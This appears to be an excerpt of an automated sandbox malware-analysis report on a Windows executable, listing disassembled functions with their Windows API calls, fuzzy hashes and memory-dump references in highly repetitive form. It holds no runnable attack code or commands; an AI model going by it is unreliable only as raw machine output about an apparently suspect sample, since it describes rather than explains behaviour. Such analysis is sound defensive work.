          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend
          • String ID: @
          • API String ID: 3850602802-2766056989
          • Opcode ID: 6a56ddd2e0bbe0198caae3cdeb5c5e06ef7f21935f4875803b2be702a59476c3
          • Instruction ID: 38582b52d2f615ec0aa97b946dccda630670411678230d73a90d6afe61afec6c
          • Opcode Fuzzy Hash: 6a56ddd2e0bbe0198caae3cdeb5c5e06ef7f21935f4875803b2be702a59476c3
          • Instruction Fuzzy Hash: 21D14975604B50CFD314DF18C481BAAB7E5FBD8B14F008A2EE88A87790D77AAD41CB42
          APIs
            • Part of subcall function 0041B850: GetCurrentThreadId.KERNEL32 ref: 0041B875
            • Part of subcall function 0041B850: IsWindow.USER32(00010440), ref: 0041B891
            • Part of subcall function 0041B850: SendMessageA.USER32(00010440,000083E7,?,00000000), ref: 0041B8AA
            • Part of subcall function 0041B850: ExitProcess.KERNEL32 ref: 0041B8BF
          • DeleteCriticalSection.KERNEL32(004DBEB8,?,?,?,?,?,?,?,?,00422ECD), ref: 00417E8A
            • Part of subcall function 00493DE6: __EH_prolog.LIBCMT ref: 00493DEB
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalCurrentDeleteExitH_prologMessageProcessSectionSendThreadWindow
          • String ID: !$#$`J
          • API String ID: 2888814780-3174050411
          • Opcode ID: f20964ea592daf27b7b2d64fa7dba7a6b5b2a55c777ea8b0139bac1a22c76e8a
          • Instruction ID: fdee651819b0b800f79beef2f278b93dbe2c258c4bf4824aae22c2db6cc8aa23
          • Opcode Fuzzy Hash: f20964ea592daf27b7b2d64fa7dba7a6b5b2a55c777ea8b0139bac1a22c76e8a
          • Instruction Fuzzy Hash: 95915B70018B82CED316EF74C0847DABFE4AF76308F54485EE4D646293DBB96248C7A6
          APIs
          • wsprintfA.USER32 ref: 00437ECF
          • CreateFontIndirectA.GDI32(00000028), ref: 00437F38
          • GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 00437F7F
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateExtentFontIndirectPoint32Textwsprintf
          • String ID: (
          • API String ID: 3175173087-3887548279
          • Opcode ID: 3ba71c37f8ac9030ce3edb7e202ed519036da5a2dc6eaddc6f8faf48966541a1
          • Instruction ID: d8d5b801cc0e17430b38c2edb5238bd7e225e7ab343eaeeadee07c2d0e3bbf36
          • Opcode Fuzzy Hash: 3ba71c37f8ac9030ce3edb7e202ed519036da5a2dc6eaddc6f8faf48966541a1
          • Instruction Fuzzy Hash: F551C4752083458FC324CF28C884B6BBBE5FF89304F144A1EF59683381DBB5A905CB96
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: $lJ
          • API String ID: 0-3015593574
          • Opcode ID: df195e75be1fe7c6e0488450a27f0c5a4f11b261e9c5f8a55090c48eb8ff0462
          • Instruction ID: 5dcaaff9ce3d6dd7ab54508e2ea05b0b6d76d4f70905b52aada8a6eee3ca5a9d
          • Opcode Fuzzy Hash: df195e75be1fe7c6e0488450a27f0c5a4f11b261e9c5f8a55090c48eb8ff0462
          • Instruction Fuzzy Hash: A051BE712143529FD718DF26D880B6BB7A4FB95358F400A2EF94293391DB38EC45CB9A
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: __ftol
          • String ID: VUUU$gfff
          • API String ID: 495808979-2662692612
          • Opcode ID: 9f50bd098f97b9228d7c07b049018d02d1756c4f5d45a97c4cfbb6e39d557a6e
          • Instruction ID: 8cdc888df078e833c40f6c98998ae1956fb98bf79dbdb5557b7cbd20b2b8729f
          • Opcode Fuzzy Hash: 9f50bd098f97b9228d7c07b049018d02d1756c4f5d45a97c4cfbb6e39d557a6e
          • Instruction Fuzzy Hash: 1A314677F002554BD31C5D2F985022AB2C6F7D4314B66863EE85ACB391EB6A9C4483CD
          APIs
          • GlobalLock.KERNEL32 ref: 00497B2B
          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 00497B7E
          • GlobalUnlock.KERNEL32(?), ref: 00497C15
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$ByteCharLockMultiUnlockWide
          • String ID: @
          • API String ID: 231414890-2766056989
          • Opcode ID: 4df2780248dc19c896b4e008366ca368d8436ded9895dfbd48a0fa8d0c48181f
          • Instruction ID: 032a8dc79ca60e74958dc5c920dd6eb0f4e26866a1ec3b513c60fac624cd7c50
          • Opcode Fuzzy Hash: 4df2780248dc19c896b4e008366ca368d8436ded9895dfbd48a0fa8d0c48181f
          • Instruction Fuzzy Hash: 0B41E872814215EBCF14DF54C8819AEBFB4FF44358F14C17AE815AB254D338AA46CB98
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: $lJ
          • API String ID: 0-3015593574
          • Opcode ID: 261bd36220948df782e41914b9a23d702e36c170454b9f412b97bca03353f5d0
          • Instruction ID: 55ce560ce4facbf4343efab2482ace7db9e9ffd1962f4091b8e1922c3e38959b
          • Opcode Fuzzy Hash: 261bd36220948df782e41914b9a23d702e36c170454b9f412b97bca03353f5d0
          • Instruction Fuzzy Hash: 673189712183409FC718DF25C844B6BB7F4FB95724F448A2EF896932D0D7789806CB9A
          APIs
          • GetMenuCheckMarkDimensions.USER32 ref: 0049BDAC
          • CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 0049BE5B
          • LoadBitmapA.USER32(00000000,00007FE3), ref: 0049BE73
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
          • String ID:
          • API String ID: 2596413745-3916222277
          • Opcode ID: dfa580559f71ec70253e3f03adffb8d2107f3d67c79e1e20e7c9a3405d44cffa
          • Instruction ID: 0b732e5b56029b0b28bb6ee5cf0c23d972d6a447cbc94716518285be6c1c73b6
          • Opcode Fuzzy Hash: dfa580559f71ec70253e3f03adffb8d2107f3d67c79e1e20e7c9a3405d44cffa
          • Instruction Fuzzy Hash: 94212572E00215AFDF10CB78DD89BAE7BB9EB84304F054276E905EB2C2D7749A048B84
          APIs
          • GetCurrentDirectoryA.KERNEL32(00000104,?,?), ref: 0048D3E8
            • Part of subcall function 0048D44C: GetDriveTypeA.KERNEL32(?,?,0048D38E,?,?), ref: 0048D46B
          • GetFullPathNameA.KERNEL32(?,00000104,?,?,?), ref: 0048D3D4
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CurrentDirectoryDriveFullNamePathType
          • String ID: .$:
          • API String ID: 3995704478-4202072812
          • Opcode ID: d22120170eaad2d4f756cb689012f65e476789c3083afc2ce3a49a4bccd1af66
          • Instruction ID: fdc4d176e57c43568ba85b01801c6a0f1f9cfe859ca427547016083d08d57543
          • Opcode Fuzzy Hash: d22120170eaad2d4f756cb689012f65e476789c3083afc2ce3a49a4bccd1af66
          • Instruction Fuzzy Hash: BC21C671605245EAEB10FF65D881BDE37A8AF11304F10485BF955DA1C2DBB8E980873E
          APIs
          • GetClassInfoA.USER32(?,WTWindow,00000000), ref: 0041E7B8
          • LoadCursorA.USER32(00000000,00007F00), ref: 0041E7C9
          • GetStockObject.GDI32(00000005), ref: 0041E7D3
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClassCursorInfoLoadObjectStock
          • String ID: WTWindow
          • API String ID: 1762135420-3503404378
          • Opcode ID: 0b49a1b49d496e8687fed6f6431e675e74bbc2a02f9718387de522c3743d88df
          • Instruction ID: e61a1c111785364e6f837407a7458d8b91103c2ba6615b21ac822c8a39d4eca9
          • Opcode Fuzzy Hash: 0b49a1b49d496e8687fed6f6431e675e74bbc2a02f9718387de522c3743d88df
          • Instruction Fuzzy Hash: A711CE74908300AFC700EF56988495BFFE8FF88754F44083EF88883221D73899848B9A
          APIs
          • InterlockedIncrement.KERNEL32(00501204), ref: 0048EC28
          • InterlockedDecrement.KERNEL32(00501204), ref: 0048EC3F
            • Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
            • Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC
          • InterlockedDecrement.KERNEL32(00501204), ref: 0048EC6F
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Interlocked$CriticalDecrementSection$EnterIncrementInitialize
          • String ID: A/H
          • API String ID: 2038102319-3825389354
          • Opcode ID: b01cfa44c8c63fa003a2210b9e82851e0bafa830edb36abfe97c576d17831aba
          • Instruction ID: 9e8025519e32c3c70a1d6560ea31b120bf33e29a846631b7ea0a6d2bf152a743
          • Opcode Fuzzy Hash: b01cfa44c8c63fa003a2210b9e82851e0bafa830edb36abfe97c576d17831aba
          • Instruction Fuzzy Hash: ACF0B43650124ABFEB013FA6AC81DDF3B58EF85765F04043FFA0055161CBB68912979D
          APIs
          • GlobalAlloc.KERNEL32(00000040,^,I,00000000,00497917,?,00000000,?,?,00492C5E,?,00000000,?,?), ref: 0049792E
          • GlobalLock.KERNEL32(00000000), ref: 0049793C
          • GlobalUnlock.KERNEL32(00000000), ref: 00497970
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$AllocLockUnlock
          • String ID: ^,I
          • API String ID: 3972497268-2941405234
          • Opcode ID: 43a4f891c83e3e28237f757afe818732e7cabfcb9a4d5bfec049bfbb67e4be90
          • Instruction ID: 53d4942d04a59ce03c209828d8c9541bbb4971da05968c0bea4a9e43a9187533
          • Opcode Fuzzy Hash: 43a4f891c83e3e28237f757afe818732e7cabfcb9a4d5bfec049bfbb67e4be90
          • Instruction Fuzzy Hash: BFF0F6B3904202ABE7209F64DC45E56BBF4FB44710F00882EF589D3260D374D8A1CB54
          APIs
          • GetWindowLongA.USER32(00000000,000000F0), ref: 00499221
          • GetClassNameA.USER32(00000000,?,0000000A), ref: 0049923C
          • lstrcmpiA.KERNEL32(?,combobox), ref: 0049924B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClassLongNameWindowlstrcmpi
          • String ID: combobox
          • API String ID: 2054663530-2240613097
          • Opcode ID: ae27acaf4fff6a4ddba800511fa5ae8242188bbd237619f5ee9c5f20442dbaba
          • Instruction ID: 5c54e070ea6a1bd67706c3f2e3c0c45cc96b31e7cd8103f6b4be4bd98d1ae792
          • Opcode Fuzzy Hash: ae27acaf4fff6a4ddba800511fa5ae8242188bbd237619f5ee9c5f20442dbaba
          • Instruction Fuzzy Hash: 12E06D32954109BFCF109F78DC4AB9E3F68EB12785F108A72B427D50A0D674EA458A5D
          APIs
          • GetModuleHandleA.KERNEL32(KERNEL32,00480935), ref: 00485F00
          • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00485F10
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
